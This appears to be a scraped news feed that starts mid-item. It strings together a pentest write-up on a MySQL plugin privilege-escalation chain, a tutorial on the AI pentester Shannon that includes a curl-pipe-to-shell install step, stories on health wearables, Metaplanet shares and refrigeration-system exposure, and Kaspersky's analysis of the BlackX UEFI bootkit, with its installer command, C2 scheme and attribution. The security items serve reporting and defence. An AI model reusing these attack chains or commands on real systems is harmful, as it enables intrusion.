}We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.
The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.
WHOOP plans to test whether wearable coaching can help improve blood sugar and blood pressure. See how its Abu Dhabi study could affect future health wearables.
The post WHOOP to Study Wearable Coaching for Blood Sugar and Blood Pressure appeared first on TechRepublic.
WHOOP plans to test whether wearable coaching can help improve blood sugar and blood pressure. See how its Abu Dhabi study could affect future health wearables.
The post WHOOP to Study Wearable Coaching for Blood Sugar and Blood Pressure appeared first on TechRepublic.
Welcome back, aspiring cyberwarriors!
We’re continuing our series on Artificial Intelligence in Cybersecurity with another tool called Shannon. Shannon is a white-box AI pentester. It was created to test the security of your project by pointing it at the source code and the test stand. That means it needs both the running application and the source code. First, Shannon does an in-depth analysis of the code in the repository, then looks for attacks against that same project you’re hosting locally. This white-box approach is certainly more effective, as models don’t have to guess possible vulnerabilities, since guessing varies greatly depending on the model you use. Vulnerabilities can only make their way to the report if they have a working PoC. As always, only test systems you own or have explicit written authorization to test.
Now let’s take a closer look at Shannon and test our Juice Shop with it.
Juice Shop is just a Docker container, so we will install Docker and npm first.
kali > sudo apt update
kali > sudo apt install -y docker.io nodejs npm
kali > sudo systemctl enable docker --now
kali > sudo usermod -aG docker $USER
kali > newgrp dockerThen comes the Juice Shop.
kali > docker pull bkimminich/juice-shop
kali > docker run -d --name juice-shop --restart unless-stopped -p 3000:3000 bkimminich/juice-shop
It’s up and running. Now we need to copy the repository to our disk.
kali > git clone --depth 1 https://github.com/juice-shop/juice-shop.git
Once we have it all set, we can get Shannon. Unlike Pentestcode and other tools, Shannon runs differently. By default, it expects your AI API keys in the env. In the next sections we’ll show how to run Shannon with OpenRouter and Ollama.
Shannon wants to see your API key in the env. You will also need a models.json file somewhere on your disk. Copy the following command to create it.
cat > ~/models.json << 'EOF'
{
"providers": {
"openrouter": {
"apiKey": "YOUR_API_KEY",
"models": [
{
"id": "nvidia/nemotron-3.5-lightning:free",
"name": "NVIDIA Nemotron 3.5 Lightning (free)",
"reasoning": true,
"input": ["text"],
"thinkingLevelMap": {
"off": null,
"minimal": null,
"low": "low",
"medium": null,
"high": "high",
"xhigh": null,
"max": "max"
},
"contextWindow": 262144,
"maxTokens": 65536,
"cost": {
"input": 0,
"output": 0,
"cacheRead": 0,
"cacheWrite": 0
},
"compat": {
"supportsDeveloperRole": false,
"thinkingFormat": "openrouter"
}
}
],
"api": "openai-completions",
"baseUrl": "https://openrouter.ai/api/v1"
}
}
}
EOFThen pass the keys and validate the setup.
kali > export SHANNON_AI_API_KEY="sk-or-v1-YOUR_KEY"
kali > export SHANNON_AI_MODEL="openrouter:nvidia/nemotron-3.5-lightning:free"
kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop --validate-model
If you see it’s validated, then you can run a full security analysis.
kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop -c ~/juice-quick.yaml --models-config ~/models.json --follow
This will take a while and your free daily tokens won’t be enough to complete the scan.
As the security test progresses, you’ll see all the commands and prompts it runs. Obviously, the frontier models will give better results.
Shannon isn’t only limited to APIs. You can perform the same scan with a local model. Many openweight models will be a great fit for it if you have the necessary hardware to make it work smoothly.
Just for the demonstration we’ll use Qwen 2.5-coder 7b.
kali > curl -fsSL https://ollama.com/install.sh | sh
kali > ollama pull qwen2.5-coder:7b
We’ll create the same models.json file to point Shannon to our Ollama.
{
"providers": {
"ollama": {
"baseUrl": "http://127.0.0.1:11434/v1",
"api": "openai-completions",
"apiKey": "ollama",
"models": [
{
"id": "qwen2.5-coder:7b",
"name": "Qwen 2.5 Coder 7B",
"input": ["text"],
"contextWindow": 32768,
"maxTokens": 8192,
"cost": { "input": 0, "output": 0 },
"compat": {
"supportsDeveloperRole": false,
"supportsReasoningEffort": false
}
}
]
}
}
}Make sure your Ollama is accessible, and change the IP address if needed.
kali > export SHANNON_AI_API_KEY=ollama
kali > export SHANNON_AI_MODEL=ollama:qwen2.5-coder:7b
kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop -c ~/juice-quick.yaml --models-config ~/models.json --validate-modelBefore we do anything, let’s validate the model.
If your model has been validated and you can start scanning your project.
kali > kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop -c ~/juice-quick.yaml --models-config ~/models.json --followWhen the scan finishes, Shannon creates PDF and Markdown reports with the evidence attached to them. You will also see structured JSON and SARIF files for downstream systems.
Below is an example of a PDF report. As you can see, multiple vulnerabilities were found in the project, some of them are classified as High. As mentioned before, all the findings here were validated with PoCs.
Shannon was made to find flaws in your web apps to make them more secure. It digs through the project repository and runs checks against a live system. It then creates a report with findings that were discovered with PoCs, so you get a clean report. As AI becomes more prevalent in cybersecurity, it should be used to improve the security of your projects before their release. Of course, that doesn’t replace a human in the loop, but it makes things faster. Stick to better models and don’t cut back on your security.
AI is evolving rapidly and the sooner you learn how to work with it, the greater the advantage you’ll have. That’s why we invite you to join our AI for Cybersecurity training. During this training, you will see you different ways of using AI in cybersecurity, set up local models and solve labs.
The post Artificial Intelligence (AI) in Cybersecurity, Part 30: Shannon – AI Pentester for Web Apps and APIs first appeared on Hackers Arise.
TL;DR: Capital Research and Management’s reported Metaplanet voting stake reached 11.11% as of October 16. Both a larger holding and a share buyback affected the percentage.
Metaplanet has disclosed that Capital Research and Management crossed the 10% voting-rights threshold, based on an investor report.
The company’s October 23 notice puts the investment adviser’s reported position at 143,301,084 shares as of October 16, equivalent to 11.11% of voting rights. The September 8 comparison showed 125,455,820 shares and a 9.32% stake.
The two snapshots show 17,845,264 additional reported shares. That arithmetic does not date individual trades or establish a new corporate Bitcoin purchase.
The percentage also reflects treasury shares acquired in Metaplanet’s October 14 buyback, which reduced the voting-rights denominator.
Ownership percentages are fractions: the investor’s holding sits above the total carrying voting rights. Increasing the first figure or reducing the second makes the percentage larger, so comparing the percentages alone can obscure what happened.
Voting power also answers a narrower question than economic exposure: how much influence accompanies a holding. Share classes, treasury stock and financing claims can make a simple percentage a poor substitute for analysing the investment.
Metaplanet relied on the investor’s October 23 change report and said it had not independently confirmed beneficial ownership.
In a separate October 14 announcement, Metaplanet disclosed the completed repurchase of 73,981,400 ordinary shares at ¥261 each, costing ¥19.309 billion. The transaction used the Tokyo Stock Exchange’s ToSTNeT-3 off-auction repurchase system.
The broader authorisation permits up to 200 million ordinary shares and ¥60 billion of purchases between October 14, 2026 and October 13, 2027. Those are programme ceilings, not an assertion that the entire amount has already been spent.
The company linked its repurchase policy to capital efficiency and Bitcoin holdings per share. That framing is significant for treasury-company investors because the number of shares participates directly in their economic exposure to corporate assets.
A shrinking share count can increase an asset-per-share measure even when the underlying asset balance stays unchanged. Conversely, raising capital through new shares can expand the balance sheet while changing each existing share’s claim on it. Neither calculation alone establishes whether a transaction creates value after its financing costs.
There is also a distinction between a listed equity and personal coin ownership. Holding shares on an exchange introduces corporate financing, governance and management decisions alongside exposure to a company’s Bitcoin strategy. Direct custody of coins has a different set of responsibilities.
For shareholders assessing that strategy, the useful comparison therefore extends beyond total coins held. It includes the shares sharing those assets, obligations against the balance sheet and the price paid to obtain the exposure.
Written by the News Desk and edited by Samuel Rae.
Nvidia and Agile Robots unveiled Agile ONE SN, a compact humanoid with Jetson Thor computing and Isaac GR00T training tools. Here's what it can do, its specifications, and when it launches.
The post Agile ONE SN Humanoid Robot Bundles Nvidia’s Robotics Stack appeared first on TechRepublic.
Nvidia and Agile Robots unveiled Agile ONE SN, a compact humanoid with Jetson Thor computing and Isaac GR00T training tools. Here's what it can do, its specifications, and when it launches.
The post Agile ONE SN Humanoid Robot Bundles Nvidia’s Robotics Stack appeared first on TechRepublic.
OpenAI used nearly 2,000 AI agents to analyze mouse brain-cell data in 32 minutes, uncovering possible links to neurological diseases for further study.
The post OpenAI Ran Nearly 2,000 AI Agents on Brain Data: What They Found in 32 Minutes appeared first on TechRepublic.
OpenAI used nearly 2,000 AI agents to analyze mouse brain-cell data in 32 minutes, uncovering possible links to neurological diseases for further study.
The post OpenAI Ran Nearly 2,000 AI Agents on Brain Data: What They Found in 32 Minutes appeared first on TechRepublic.
Cybersecurity researchers at Forescout are drawing attention to the risks posed by exposed refrigeration control systems, warning that weaknesses in operational technology (OT) could have serious consequences for food supplies, business continuity and other temperature-sensitive operations.
The warning comes following cyberattacks against French supermarkets in October 2026, which reportedly disrupted refrigeration systems at hundreds of stores. Attackers were able to interfere with cooling operations, resulting in temperature fluctuations, spoiled stock and significant disruption.
The incidents have raised concerns about the security of internet-connected refrigeration equipment, particularly where older systems, exposed management interfaces and inadequate access controls leave operational technology vulnerable to interference.
Unlike conventional IT attacks, which frequently focus on stealing data or disrupting digital services, attacks against refrigeration controllers can directly affect physical processes.
These systems are responsible for maintaining temperatures across supermarkets, food storage facilities and other environments where consistent cooling is essential.
If attackers gain sufficient access, they may be able to manipulate temperature settings, interfere with defrost cycles or disrupt equipment operations. The consequences can extend beyond IT downtime to include damaged stock, financial losses and potential safety risks.
The issue also extends beyond food retail. Refrigeration and temperature-control systems are used in healthcare, pharmaceuticals, manufacturing and logistics, making their security an important consideration across several industries.
One of the central concerns is the accessibility of operational technology that was not originally designed to withstand direct exposure to the internet.
Remote management capabilities allow engineers and third-party maintenance providers to monitor and adjust refrigeration equipment without visiting individual sites. However, these connections can introduce security weaknesses if they are poorly configured or inadequately protected.
Research into industrial control systems has identified publicly accessible management interfaces, outdated firmware and weak authentication as recurring problems.
In some cases, organisations may not have complete visibility of the equipment connected to their networks, particularly where systems have been installed and maintained by external contractors.
New research from Forescout’s Vedere Labs has identified 12,976 internet-exposed service observations across ten product groups, associated with 6,017 distinct public IP addresses in 99 countries and territories.
The findings suggest that the weaknesses highlighted by the French supermarket attacks are part of a much wider global problem.
The largest number of observations involved Copeland/Dixell XWEB services, with 7,075 recorded, followed by 4,697 Danfoss StoreView services. Researchers also identified 551 Copeland Site Supervisor services, 513 Carel pCOWeb services and 140 observations across six other product groups.
Importantly, these figures represent exposed services rather than confirmed compromised devices. A single IP address may host multiple services, while one management interface may control several downstream systems.
The researchers also found that 3,762 Danfoss StoreView service observations, representing 80% of the total, were running firmware older than version 4.3.1, making them potentially vulnerable to two previously disclosed security flaws.
Forescout’s research suggests that attacks against refrigeration systems are not a new development.
According to a technical bulletin published by Danfoss, hacktivist attacks in 2022 affected 16 Russian supermarkets and 40 stores in Israel.
Forescout has also tracked more than 20 claimed attacks against refrigeration systems since January 2026, with pro-Russian hacktivist groups Z-Pentest Alliance and NoName057(16) among the most active.
Targets have included supermarkets, wineries, fruit storage facilities and agricultural businesses across Europe.
However, the researchers stress that the initial access methods and identities of those responsible for the recent French attacks have not been confirmed.
Forescout is urging organisations to review how refrigeration management systems are connected to the internet and who is authorised to access them.
Recommendations include removing publicly accessible management interfaces, replacing unsupported equipment, applying available security updates and introducing secure remote access for maintenance contractors.
The researchers also recommend multifactor authentication, individual user accounts and continuous monitoring to identify suspicious changes to temperature settings, defrost schedules and alarms.
The challenge is that attackers do not necessarily need to deploy malware to cause disruption. Once they gain sufficient access, they may be able to misuse legitimate management functions, making malicious activity harder to distinguish from routine maintenance.
The research highlights a broader issue for operational technology security: organisations need visibility not only of connected devices, but also of who can access them, what changes they can make and how those changes affect physical operations.
Read the full research here: Cold Chain, Open Control: Exposed Refrigeration Systems Reveal Global Risk
The post Exposed Refrigeration Systems Raise Global Cybersecurity Concerns appeared first on IT Security Guru.
New study finds continuous glucose monitors improve blood sugar control in people with type 2 diabetes who don't use insulin. Here's what to know.
The post New Diabetes Study Finds Continuous Glucose Monitors Help Without Insulin appeared first on TechRepublic.
New study finds continuous glucose monitors improve blood sugar control in people with type 2 diabetes who don't use insulin. Here's what to know.
The post New Diabetes Study Finds Continuous Glucose Monitors Help Without Insulin appeared first on TechRepublic.
Back in October 2022, Kaspersky GReAT was looking into a peculiar advertisement on a hacking forum. A cybercriminal had been advertising a UEFI bootkit, dubbed BlackLotus, that could bypass Secure Boot, for $5,000. Given the low price for such powerful capabilities, the cybersecurity community initially took this advertisement with a grain of salt. As no BlackLotus samples were found in the wild, no one could at the time verify the claims made in the forum post.
BlackLotus advertisement
However, about half a year later, in March 2023, ESET confirmed that the BlackLotus advertisement was genuine. The researchers tracked down samples of this bootkit and confirmed that it can indeed bypass Secure Boot through a vulnerability called Baton Drop (CVE-2022-21894). As this vulnerability was still exploitable in 2023, Microsoft had to release multiple security updates to address it.
Since the release of these updates, the BlackLotus bootkit has gone quiet — no publicly known attacks have used it. Yet in early 2026, we discovered a malware sample similar to BlackLotus that was used in an APT campaign in Central Asia. In this report, we share our findings, including new payloads and possible attribution of this campaign.
In early 2026 we identified a complex APT attack targeting diplomatic agencies in Central Asian countries — namely Tajikistan, Uzbekistan, and Turkmenistan. This attack involved a UEFI bootkit that we dubbed BlackX. Having examined it, we found it to be similar to BlackLotus.
Attackers have been deploying BlackX after compromising the victim machine networks and obtaining administrator privileges. To install the bootkit, we observed them dropping the following files:
inst.exe, an installer executablePVMDIJGKAX2, an RC4-encrypted extensionless file containing files and strings required for the installationThe installer was launched with the command line C:\ProgramData\Intel\inst.exe PVMDIJGKAX2 Q46F6MDLI3RX2KV1. The last argument here is the RC4 key used for decryption.
Curiously, the file inst.exe does not contain any malicious strings or embedded blobs. All the files needed to install the malicious payload are inside PVMDIJGKAX2, which makes it harder for incident responders to retrieve the bootkit components.
The installer package drops a set of files to both system and UEFI partitions, designed to exploit the Baton Drop vulnerability. We noted that the implementation of the exploit is remarkably similar to the one used in the BlackLotus malware. As with BlackLotus, the goal of the exploit is to install custom Machine Owner Keys (MOK), which allows loading arbitrary EFI files on the target machines to manipulate Secure Boot.
While the vulnerability exploitation chain was implemented very similarly to BlackLotus, we spotted differences between the exploits in BlackLotus and BlackX. That said, the source code of the BlackLotus bootkit has never been published online. This could mean that the attackers behind BlackX either reverse-engineered the BlackLotus bootkit or purchased its source code from cybercriminals. Either way, this is an interesting observation, as we rarely see APT actors borrow ideas or code from cybercrime actors.
The UEFI payload delivered during the Baton Drop exploitation has a classic bootkit goal — to inject a malicious driver into the Windows kernel. This driver differs from the one deployed by BlackLotus and is signed with a certificate belonging to an organization named 温江区明宇网络技术服务工作室 (English: Wenjiang District Mingyu Network Technology Service Studio). At the time of writing, this certificate (serial number: 0bcdf5e0da32d68900b8b7638459d072) has been revoked by its issuer.
The driver aims to tamper with security solutions installed on the machine. For example, it disables process, thread, and registry callbacks related to security solutions. It also tampers with ETW providers so that security solutions cannot access their output. Curiously, some of the tampering procedures are designed to run only if Kaspersky or Avast solutions are installed on the infected machine. However, during dynamic analysis of this driver, we found that these procedures are useless — they fail to interfere with Kaspersky products in any way.
The driver also protects the bootkit’s files from tampering. It intercepts kernel requests to open these files and returns a handle to calc.exe instead of a malicious file handle.
Apart from tampering with security solutions, the driver also deploys a user-mode payload. We observed two such payloads, used for cyberespionage, in the wild. One of them is a RAT that can load further-stage .NET payloads. This RAT uses cloud storage for C2 server communications — we observed its versions using Google Drive, OneDrive, and Yandex.Disk. Having connected to a cloud storage service, this RAT iterates over files available there and interprets them depending on the file suffix. Below is a list of supported suffixes:
| File suffix | Description | Type |
| 0X01 | A .NET file. The task is to parse it and run the method TEST.Class1.RunCMD(argument_array) from the module | Input |
| 0X02 | Result of the call TEST.Class1.RunCMD(argument_array) | Output |
| 0X03 | Task to upload a file to the drive | Input |
| 0X04 | Uploaded file | Output |
| 0X05 | Task to download a file to an infected machine | Input |
| 0X06 | File download status | Output |
| SSSR | Contains initial system info | Output |
We also observed another payload delivered through the bootkit, which we dubbed OxiDLLRunner. It is a malicious DLL obfuscated with OLLVM. It is loaded by the legitimate file googleupdate.exe (original filename: jcef_helper.exe, MD5: AF8A983B9ADA07EAE1259BF2953ABD40), which is also delivered by the bootkit. The DLL decrypts the contents of the file v8_context_snapshot.bin, which resides in the same folder, and then jumps to the beginning of the decrypted content. The decrypted data starts with shellcode followed by a PE file, which is a Rust payload designed to communicate with the www[.]archivetj[.]com C2 server. During communication, this payload is supposed to receive DLL files exporting a function named create_plugin, which are then executed in separate threads.
Based on the following facts, we have attributed this attack to the APT41 threat actor with medium confidence:
During our initial analysis of BlackX, we thought that attackers succeeded in deploying it due to the negligence of the target organizations. Baton Drop, the vulnerability used to deploy BlackX, was disclosed back in 2023 and was patched, so we first thought that the infected machines lacked the relevant updates. However, our investigation proved this wrong — the targeted machines were fully patched.
Instead, we found out that the problem was with the patch itself. As it turned out, the patch for the Baton Drop vulnerability is designed to revoke the “Windows Production PCA 2011” certificate used to sign vulnerable UEFI components. However, this revocation does not happen automatically upon patch installation — the user has to trigger it manually. This is done with the following steps:
This patch is designed to be applied manually — for instance, applying it automatically could break dual-boot systems relying on the “Windows Production PCA 2011” certificate to load. At the same time, this patch deployment practice creates a problem — as it is extremely unusual for a system administrator to take extra steps after installing an update. Usually, when applying patches, system administrators take no further action unless an installation failure occurs. These instructions for activating the patch are buried deep on the Microsoft website, and we assess that they are quite hard for an average IT administrator to notice.
Curiously, Microsoft’s plan for deploying the Baton Drop patches mentions an “Enforcement Phase” that involves revoking the “Windows Production PCA 2011” certificate automatically, without user interaction. At the time of publishing this post, this stage has not been implemented. On October 19, 2026, this certificate expired, but this does not prevent the vulnerable binaries from loading unless the certificate is blocklisted.
It is likely that the threat actor behind this campaign took into account that few organizations realized the importance of manually activating the Baton Drop patch. As such, we believe they decided to invest time in understanding how BlackLotus works and creating a copycat of this bootkit.
Patch management is important for every organization, as updates from vendors help protect software and hardware against known vulnerabilities. However, sometimes installed patches fail to protect against the flaws they address. The BlackLotus story we described is not the only such example — for instance, in 2025 Microsoft released an update against the ToolShell vulnerability that also had to be applied manually.
However, modern security solutions are designed to account for such cases when installed patches fail to protect against security flaws for one reason or another. For instance, the Exploit Prevention component available in Kaspersky products prevents exploits from running if the patch is not applied, or if it is a zero-day vulnerability with no available patch. It is thus crucial to equip all machines in an organization with security solutions and constantly monitor the alerts they raise.
